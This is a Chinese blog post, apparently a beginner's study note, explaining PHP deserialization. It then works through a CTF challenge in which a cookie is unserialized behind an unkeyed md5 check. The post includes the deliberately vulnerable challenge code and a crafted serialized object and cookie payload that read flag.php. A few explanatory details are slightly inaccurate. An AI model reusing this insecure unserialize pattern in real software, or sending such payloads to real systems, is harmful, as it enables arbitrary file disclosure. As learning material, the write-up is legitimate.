PHP反序列化学习(包含实例)

发布于:2022-11-09 ⋅ 阅读:(11) ⋅ 点赞:(0) ⋅ 评论:(0)

0x01 前言

最近在学习PHP的反序列化漏洞,做了几道题目,也总结出了一点经验。当然我是小白,可能有不少地方有缺漏欢迎各位大佬批评指正

0x02 原理

1、序列化与反序列化

序列化就是将某个对象转化为字节数据的过程,反序列就是将字节数据转化为对象的过程。打个比方就是序列化就是存档,反序列化就是读档。

<?php  
Class exa{
    public function a1()
    {
        echo "123231";
    }
    function __wakeup() 
    { 
        $aa="qwe";
        echo $aa;
    }
    function a3()
    {
		echo $this->source;
    }
}

$a=new exa;
$a -> source=123333;
echo serialize($a);

?>

这是一段PHP的序列化的代码,其运行结果为

O:3:"exa":1:{s:6:"source";i:123333;}

当然这段代码是有规律可循的可以参考PHP 序列化(serialize)格式详解-php手册-PHP中文网

2、魔术方法

学过python的朋友可能知道,初始化方法是在当某个实例被创建的时候,自动执行的方法,对应到PHP当中也就是这样。在PHP当中使用new来创建时所自动执行的代码(其实这里不是很准确)具体有哪些方法可以参考PHP: 魔术方法 - Manual

也就是上面演示的__wakeup()

3、其他

有人可能会好奇$this->source是什么,可以将其理解为形式参数,也就是个占位置的,真正的值需要从外部去获取也就是$a -> source =12333

new为以exa这个类为图纸创建的一个对象

0x03 实战

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>

1、介绍

上面的是某道ctf题目其中

highlight_file为高亮显示某个文件里面的内容

serialize为序列化函数

unserialize为反序列化函数

flag就在flag.php文件里面我们的思路就是利用highlight_file函数将flag.php读取获得flag

__toString为当输出字符串的时候才会执行的方法

<?=$todo?>就等于<?php echo $todo;?>

2、思路

全程我们需要用到的函数就是unserialize函数,也就是无疑我们要进入第二个if,$h截取的是我们通过cookie传入的值的前32位,$m截取的是后32位,我们还要满足的条件就是使得md5($m)===$h成立,然后就可以反序列化了,我们只需要让unserialize读取我们指定的存档就可以获得flag啦(下面有输出字符串就能够自动调用魔术方法啦,这里必须要是数组,上面有一个foreach遍历循环)

3、过程

if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}

我们先来分析一下这段,逆序分析,它先反序列化了一下,我们就序列化一下我们索要魔改的存档

代码如下

<?php 

Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}

$a=new readme;
$a -> source='flag.php';
$a=[$a];
echo serialize($a);
?>
结果如下:O:6:"readme":1:{s:6:"source";s:8:"flag.php";}

$h需要使用md5加密,$m就是上面的结果所以结果就是

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

这里注意一下我们需要使用url编码一下,因为cookie是要经过url来传输的,所以要url编码一次

最后payload为:

e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D